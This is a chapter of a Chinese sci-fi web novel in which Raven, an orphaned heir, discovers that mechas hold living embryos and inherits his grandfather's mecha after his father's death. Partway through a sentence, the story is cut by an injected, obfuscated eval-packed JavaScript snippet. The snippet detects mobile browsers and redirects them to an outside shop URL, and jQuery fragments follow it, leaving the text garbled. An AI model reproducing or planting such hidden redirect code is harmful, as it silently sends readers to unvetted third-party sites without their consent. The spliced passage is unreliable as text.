渡鸦写下了那封检举信，却恍惚无法回忆，当时写信的自己到底怀有怎样的心情。
这感觉，就像他第一次听见“夜哨”的声音时那样。
机甲是人造生命，天生不应存在于世间。
但昔年的联邦群狼环伺，需要强大的力量来自保。于是，机甲这种扭曲的生命，便罪恶地诞生于白璐元帅的手中。
渡鸦始终记得，八岁那年，他第一次见到机甲胚胎的情景。
年幼的小渡鸦早已耳闻，机甲不是冰冷的金属，而是鲜活温暖的生命。
他在父亲的陪同下，进入了研究院对外开放的区域。
他看见，一根巨大的透明立柱立在房间中央，一枚形状模糊的肉块浸泡在淡琥珀色的液体中，静静地悬浮在透明立柱中央。
那是一个标本。
但小渡鸦意识到，浸泡着这个标本的液体，绝不是防腐用的福尔马林。
“那是什么？”小渡鸦问。
“那是胚胎，机甲里的生命体。”他的父亲回答，而后低低地补充，“那是罪孽。”
胚胎。
罪孽。
小渡鸦不说话了。
小渡鸦盯着胚胎，却看见那枚本应死去的“胚胎”标本，似乎蠕动了一下。
他揉了揉眼睛。
……是自己看花眼了吗？
回到家后，那枚胚胎蠕动的画面，仍在小渡鸦的脑海里盘旋。
小渡鸦关上房门，鬼使神差地拆开了家里的清洁型机甲。
他紧张地关掉了清洁型机甲的自动报警功能，生怕自己的举动被人发现。
但是，直到他成功剥下了清洁型机甲的外壳，那台机甲始终都没有发出一点声音。
冰冷的机壳被剥下，犹如剥开一只坚硬的螃蟹。
但机甲里面的胚胎，竟比蟹肉还要脆弱柔软。
小渡鸦双手沾满鲜血，坐在地板上，瞪圆双眼盯着露出来的胚胎。
它是红色的。
它的血是红色的，它的肉也是红色的，它的全身都是红色的。
它没有皮肤，身上突起的部分，是肉芽般畸形的手与脚。
它没有眼睑的艳丽眼珠安静地凝视着小渡鸦。
——失去眼灯的遮盖后，机甲的目光再无机械造物的冰冷，如任何一个有智的生灵般，纯洁、美丽、温柔。
“……小……主人……”胚胎断断续续地说，“对不起……我……吓到……你……了吗？”
小渡鸦的脑中嗡嗡作响。
他晕了过去。
他醒来后，看见父亲守在他的床头。
父亲告诉他，他之所以会昏迷，是因为承受了来自机甲的精神污染，而那层坚硬的机壳，原是用来隔离机甲散发的谐波的。
“它是活的！它是活的！”小渡鸦躺在床上，用力挥舞自己的双手。
“我知道，拉文。”父亲平静地回应。
“我剥掉了它的壳，它该有多痛啊！”小渡鸦颤声问，“它、它会死吗？”
父亲沉默片刻。
“它只是一台机甲，拉文。”父亲看着小渡鸦噙满泪水的眼睛，面色如镜子般平静，“但是，如果你喜欢它，我会为它定制一个墓碑。”
一天后，小渡鸦恍惚地站在一块小小的墓碑前。
诺因尼家祖宅的后花园里，有一片家族墓地。
那台清洁型机甲被葬在宠物墓地里。
它的邻居是一只死于36年前的白猫——那一年，帝国甚至还没有灭亡。
小渡鸦看着两块墓碑上的文字。
白猫的墓碑上刻着帝国语：
【雪球|帝国历3007-3015】
机甲的墓碑上，刻着帝国语与通用语两种文字：
【C-CL-047清洁型机甲|新历34-35】
小渡鸦安静地看着，突然难过地瘪起了嘴。
“它连一个名字都没有。”豆大的泪水从小渡鸦眼里掉出来，“我该给它取一个名字的……它应该知道，自己可以有一个名字的。”
父亲站在小渡鸦身旁，逆光模糊了他的面庞，看不清表情。
父亲说：“给他取一个名字，你就再也忘不了他了。拉文，我不希望你的一生中，出现太多刻骨铭心的离别。”
父亲鲜少如此多言，他本应是个石头般沉默的男人。
小渡鸦茫然地仰起头，却始终看不清父亲逆光中的脸庞。
他只能看清，一枚漆黑的机甲钮挂在父亲腰间。
名字……
名字……
那枚机甲钮……有没有自己的名字呢？
父亲只匆匆回来了一趟，如同短暂歇脚的候鸟。
这其实和之前没什么两样。
但小渡鸦的直觉十分敏锐。
他没由来地觉得，有一把看不见的达摩克利斯之剑，紧紧地贴在父亲的头顶上。
几天后，小渡鸦的直觉应验了。
杜尚别元帅——一位平日里只在电视中出现的大人物——在一个风和丽日的下午出现在小渡鸦的面前。
“……噢，他竟然真的有一个孩子……他竟然还这么小。”步入中年的杜尚别喃喃低语，又缓缓蹲下，平视小渡鸦的双眼，“孩子，你叫什么名字？”
小渡鸦冷静地回答：“拉文·诺因尼。”
“噢，拉文。”杜尚别把这个名字咀嚼了几遍，终于攒足勇气，堪称残忍地开口，“我杀死了你的父亲。”
小渡鸦愣住了。
“你的父亲试图刺杀我，但他失败了，我反杀了他。”杜尚别说话毫不委婉，即使面前的渡鸦只是个孩子，“我已经查清楚了，你父亲受了我政敌的蒙骗，他以为不杀了我，诺因尼家族就会遭到清算……”
“你杀了我父亲。”小渡鸦平静地总结。
杜尚别猛地闭嘴。
小渡鸦说出这句话时，既无波澜，也无情绪。
但杜尚别在这小小的孩子身上，莫名看到了老渡鸦的影子。
老渡鸦，帝国最后一位死神，末代皇帝最亲密的隐臣，已在一个冰冷的冬夜投入死神的怀抱。
老渡鸦的儿子不成大器，老渡鸦的孙子……却有故人当年的风姿。
一个疯狂的念头在杜尚别脑中骤然出现。
杜尚别将口袋里的机甲钮掏出。
那枚漆黑的机甲钮上，还残留着几滴凝固的血。
“这是‘夜哨’，你祖父的遗物——你父亲一直贴身带着它。”杜尚别把机甲钮递给小渡鸦，“现在，它是你的了。”
小渡鸦没有接。
他稚嫩的双眼平视着半蹲的杜尚别。
他今年八岁，母亲早逝，由父亲一个人抚养长大，但大多数时间里，他都孤独地待在诺因尼家族的老宅里——
暗红的走廊上挂着一幅幅无笑的画像，小小的渡鸦就在一位位先祖画像的注视下徘徊，宛如一个活着的幽灵。
他时常感到孤独得发疯。
他觉得，这栋老宅几乎要把他整个吞没。
但那个时候，他至少可以期盼，他的父亲带着一身夜露疲倦归家，打破这份噬人的孤独。
可如今，这份期盼，再也不能有了。
小渡鸦伸出手，接过那枚机甲钮：“它……有名字啊。”
名字是羁绊的开始。
他应该给那台清洁型机甲取一个名字。
就像他的父亲给他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719764|180980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
取名一样。
杜尚别不明白这话的意思：“嗯？”
“它叫夜哨？”
“对，它是白璐和石琳的遗物……你知道石琳吗？她是你的祖母，白璐很喜欢她。”
“我可以驾驶它吗？”小渡鸦问。
杜尚别再次沉默。
一个八岁的孩子想要驾驶机甲并不稀奇，因为联邦每个孩子，都会有这样的梦想。
但小渡鸦说这话时，一双眼睛直勾勾地盯着杜尚别。
宛如黑夜中的死神，盯着镰刀下的猎物。
杜尚别也这么问了：“你驾驶机甲，是为了什么？”
小渡鸦没有说话。
他怜惜地抚摸那枚漆黑的机甲钮，如同抚摸一颗希望的种子，亦或者一枚通往冥府的路牌。
小渡鸦再也没有回到那栋祖宅。
他卖掉了祖宅。
在萧寒剑的建议下，杜尚别买下了那栋祖宅，并告知小渡鸦——若你成功杀死我，这栋祖宅会原封不动地归还给你。
“我不会杀他，他是开国元帅，所有人都爱戴他。”小渡鸦在公园长椅上晃荡双腿，说道。
二十七岁的萧寒剑展开双臂搭在椅背上，偏头戏谑地看着小渡鸦：“真的吗？”
小渡鸦沉默。
“老头儿把我当男孩养大，所以我最懂男孩的心思，尤其是一个帝国男孩的心思。”萧寒剑翘起二郎腿，“帝国男性信奉缄默信条，当一件事只需动手就能解决，便不必动嘴声张——尤其你还是一位诺因尼，你天生就是夜色中的死神，男孩。”
小渡鸦说：“叫我拉文，别叫我男孩。”
萧寒剑说：“但你在作业本上的署名是‘渡鸦’，而不是‘拉文·诺因尼’……你在回避那个让你感到痛苦的名字，不是吗？”
“……”
“笑一个，渡鸦，这个新名字没什么不好的。”萧寒剑眯起来的双眼里闪着细光，“我也在八岁时没了父母，我知道怎样能让你开心起来。”
小渡鸦终于停止晃荡双腿，第一次把目光投向萧寒剑——他的杀父仇人的女儿。
萧寒剑变魔术一般，从身后掏出一个小蛋糕：“当当当当~”
小渡鸦：“……”
小渡鸦：“您是什么意思？”
“今天是你的九岁生日，祝你生日快乐！”萧寒剑大笑起来，“即使死神也有休息日，在今天，你就大口吃蛋糕，做一个平凡幸福的普通人吧！”
小渡鸦看着萧寒剑，像看着一个傻得冒泡的天外来物。
几秒后，他伸手接过小蛋糕，夸张地张开嘴巴，恶狠狠地咬了一大口：
“嗷呜！”
“生日快乐，我的小孙儿。”一个温柔的女声细声细气地说，“愿你幸福美满地度过一生，不要困在……诺因尼的诅咒里。”
那是谁的声音？
诺因尼的诅咒……又是什么？
啪！
灯光刺破黑暗，会议室的灯被打开了。
二十岁的渡鸦坐在桌子一头，看着另一头的维卡·德维尔潘。
“你举报我通敌？”维卡横眉冷对，伶牙俐齿，“拉文·诺因尼，第七扇区的政变至今没有定论，连萧寒剑上将都不敢把莉莉丝女士定义为叛国者，你有什么理由说我通敌？”
所有人都炯炯地看着渡鸦。
渡鸦深吸一口气，突然明白了，诺因尼的诅咒到底是什么。
“……我怀疑，这场独立战争是因我而起。”于众目睽睽之中，渡鸦轻声说，“维卡，我检举的人不是你，而是我。”
死神从不说话。
死神只会挥舞祂的镰刀。
而战争……正是死神最锋利的镰刀。